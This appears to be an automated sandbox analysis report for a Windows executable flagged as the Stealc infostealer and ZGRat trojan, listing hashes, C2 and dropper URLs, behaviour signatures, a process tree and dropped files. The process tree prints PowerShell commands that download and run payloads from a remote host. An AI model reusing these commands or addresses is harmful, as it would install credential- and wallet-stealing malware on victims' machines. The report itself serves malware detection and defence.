Analysis

  • max time kernel
    193s
  • max time network
    255s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    07-05-2024 22:56

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsg5777.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4728
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Users\Admin\AppData\Local\Temp\u108.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u108.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:5108
        • C:\Users\Admin\AppData\Local\Temp\u108.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u108.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4508
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:524
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3528

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\ProgramData\Are.docx

    Filesize

    11KB

    MD5

    a33e5b189842c5867f46566bdbf7a095

    SHA1

    e1c06359f6a76da90d19e8fd95e79c832edb3196

    SHA256

    5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

    SHA512

    f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

  • C:\ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    66382a4ca6c4dcf75ce41417d44be93e

    SHA1

    8132cbef1c12f8a89a68a6153ade4286bf130812

    SHA256

    a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

    SHA512

    2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    dbc4e71885bc930e5d297c249accdb34

    SHA1

    3aa57dc042971b0b9d078a028e13a8b664c225e6

    SHA256

    f7744721d66ad8b9d3bc9a04137049789b6366bebbf7eeae80c648aaf4c7d52d

    SHA512

    f18c81a76d2d1e629edf4013d6a99f84970bddc1bbe020bcce14344d8a4474b669a588b1203ce6432c1e46b4732185ec374a3ce2c81c29fabcea506dc6172b4a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    044ac9f11d92abf59d6fb6bd6d675d28

    SHA1

    17e3345e13d9b20a87d3a6ab1a70575f68a15323

    SHA256

    1cffc90b7f621335db41b459d2bae533fc5d3d3209015925a521f8542f824c67

    SHA512

    6ad6a7c7accb1cac875b8f54b7886f7879260fba6374ceb23e4d5a6c4021f92027482494b2578ee3a294891625bcf57e8a97592edaa9a7fada53edce145582fe

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykkkimrm.u0h.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    404KB

    MD5

    c2cd725c9947ccc6afdefb26a3bb5b6e

    SHA1

    facbedddff36beb284dc900000c1bc71f236169d

    SHA256

    19db0a5131dd99b1af05a4c2b04948ea0a3a4307a34506eee732165825572407

    SHA512

    00d917fb66d3d3208ce8265cb27ac6109866d7307f53cf20f37145ae8a16c93e4708cba87485478e95454d2663308d8aafafd0bed9d60235bebc86c8bd3fc1fb

  • C:\Users\Admin\AppData\Local\Temp\nsg5777.tmp\app.bat

    Filesize

    556B

    MD5

    1d5830e49fb8ad21e3c1e3333b819e7f

    SHA1

    ee70e4b9c36d0bbcefce139bac51abadbd985197

    SHA256

    8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

    SHA512

    1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

  • C:\Users\Admin\AppData\Local\Temp\u108.0.exe

    Filesize

    262KB

    MD5

    49c818da112894812df1468c79b96bbc

    SHA1

    b943d8877e19b59cd6f61f702c659e635fd96a4f

    SHA256

    7dee0c70282dffb5642fe42e1d7480ace50d58fad04f41f240b99dd7be432a3a

    SHA512

    5171905e30b07b72a32f12b0d9a39003d1a8aa83feeb25cb867a2290eed5e8bf3c6b2d7e5eb85be31a1bc818726dafd899d9956440804b2ef47d46e41c259732

  • C:\Users\Admin\AppData\Local\Temp\u108.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\nsg5777.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • memory/524-231-0x000002785FD50000-0x0000027860050000-memory.dmp

    Filesize

    3.0MB

  • memory/524-237-0x0000027865040000-0x00000278650A2000-memory.dmp

    Filesize

    392KB

  • memory/524-233-0x0000027863E90000-0x0000027863E98000-memory.dmp

    Filesize

    32KB

  • memory/524-222-0x0000027846370000-0x000002784637A000-memory.dmp

    Filesize

    40KB

  • memory/524-217-0x000002785F130000-0x000002785F23A000-memory.dmp

    Filesize

    1.0MB

  • memory/524-227-0x0000027846380000-0x000002784638A000-memory.dmp

    Filesize

    40KB

  • memory/524-223-0x000002785ECF0000-0x000002785ED1A000-memory.dmp

    Filesize

    168KB

  • memory/524-234-0x0000027864D20000-0x0000027864D58000-memory.dmp

    Filesize

    224KB

  • memory/524-235-0x0000027863EF0000-0x0000027863EF8000-memory.dmp

    Filesize

    32KB

  • memory/524-238-0x00000278650A0000-0x00000278650C2000-memory.dmp

    Filesize

    136KB

  • memory/524-224-0x000002785EE70000-0x000002785EF22000-memory.dmp

    Filesize

    712KB

  • memory/524-218-0x0000027844B30000-0x0000027844B40000-memory.dmp

    Filesize

    64KB

  • memory/524-226-0x000002785F370000-0x000002785F392000-memory.dmp

    Filesize

    136KB

  • memory/524-239-0x00000278655F0000-0x0000027865B16000-memory.dmp

    Filesize

    5.1MB

  • memory/524-225-0x000002785F3C0000-0x000002785F410000-memory.dmp

    Filesize

    320KB

  • memory/524-236-0x0000027865020000-0x000002786502A000-memory.dmp

    Filesize

    40KB

  • memory/524-242-0x0000027865030000-0x000002786503C000-memory.dmp

    Filesize

    48KB

  • memory/524-219-0x00000278463A0000-0x00000278463AC000-memory.dmp

    Filesize

    48KB

  • memory/524-243-0x0000027865180000-0x00000278651F6000-memory.dmp

    Filesize

    472KB

  • memory/524-244-0x00000278650E0000-0x00000278650FE000-memory.dmp

    Filesize

    120KB

  • memory/524-221-0x00000278463C0000-0x00000278463E4000-memory.dmp

    Filesize

    144KB

  • memory/524-220-0x0000027846390000-0x00000278463A4000-memory.dmp

    Filesize

    80KB

  • memory/524-216-0x0000027840F10000-0x0000027844744000-memory.dmp

    Filesize

    56.2MB

  • memory/1304-120-0x0000000000400000-0x0000000002B22000-memory.dmp

    Filesize

    39.1MB

  • memory/1304-115-0x0000000000400000-0x0000000002B22000-memory.dmp

    Filesize

    39.1MB

  • memory/3528-82-0x00000000087B0000-0x00000000087FB000-memory.dmp

    Filesize

    300KB

  • memory/3528-80-0x0000000008130000-0x0000000008480000-memory.dmp

    Filesize

    3.3MB

  • memory/4508-215-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB

  • memory/4728-31-0x0000000008A30000-0x0000000008AA6000-memory.dmp

    Filesize

    472KB

  • memory/4728-28-0x00000000082F0000-0x0000000008640000-memory.dmp

    Filesize

    3.3MB

  • memory/4728-52-0x0000000072B80000-0x000000007326E000-memory.dmp

    Filesize

    6.9MB

  • memory/4728-48-0x0000000072B80000-0x000000007326E000-memory.dmp

    Filesize

    6.9MB

  • memory/4728-47-0x0000000009800000-0x000000000981A000-memory.dmp

    Filesize

    104KB

  • memory/4728-46-0x000000000A0F0000-0x000000000A768000-memory.dmp

    Filesize

    6.5MB

  • memory/4728-20-0x0000000072B8E000-0x0000000072B8F000-memory.dmp

    Filesize

    4KB

  • memory/4728-30-0x0000000008770000-0x00000000087BB000-memory.dmp

    Filesize

    300KB

  • memory/4728-29-0x00000000081A0000-0x00000000081BC000-memory.dmp

    Filesize

    112KB

  • memory/4728-21-0x0000000004F20000-0x0000000004F56000-memory.dmp

    Filesize

    216KB

  • memory/4728-27-0x0000000008270000-0x00000000082D6000-memory.dmp

    Filesize

    408KB

  • memory/4728-26-0x00000000081F0000-0x0000000008256000-memory.dmp

    Filesize

    408KB

  • memory/4728-25-0x0000000007F70000-0x0000000007F92000-memory.dmp

    Filesize

    136KB

  • memory/4728-24-0x0000000072B80000-0x000000007326E000-memory.dmp

    Filesize

    6.9MB

  • memory/4728-23-0x0000000072B80000-0x000000007326E000-memory.dmp

    Filesize

    6.9MB

  • memory/4728-22-0x0000000007940000-0x0000000007F68000-memory.dmp

    Filesize

    6.2MB

  • memory/5108-125-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/5108-203-0x0000000000400000-0x0000000002AFE000-memory.dmp

    Filesize

    39.0MB

  • memory/5108-252-0x0000000000400000-0x0000000002AFE000-memory.dmp

    Filesize

    39.0MB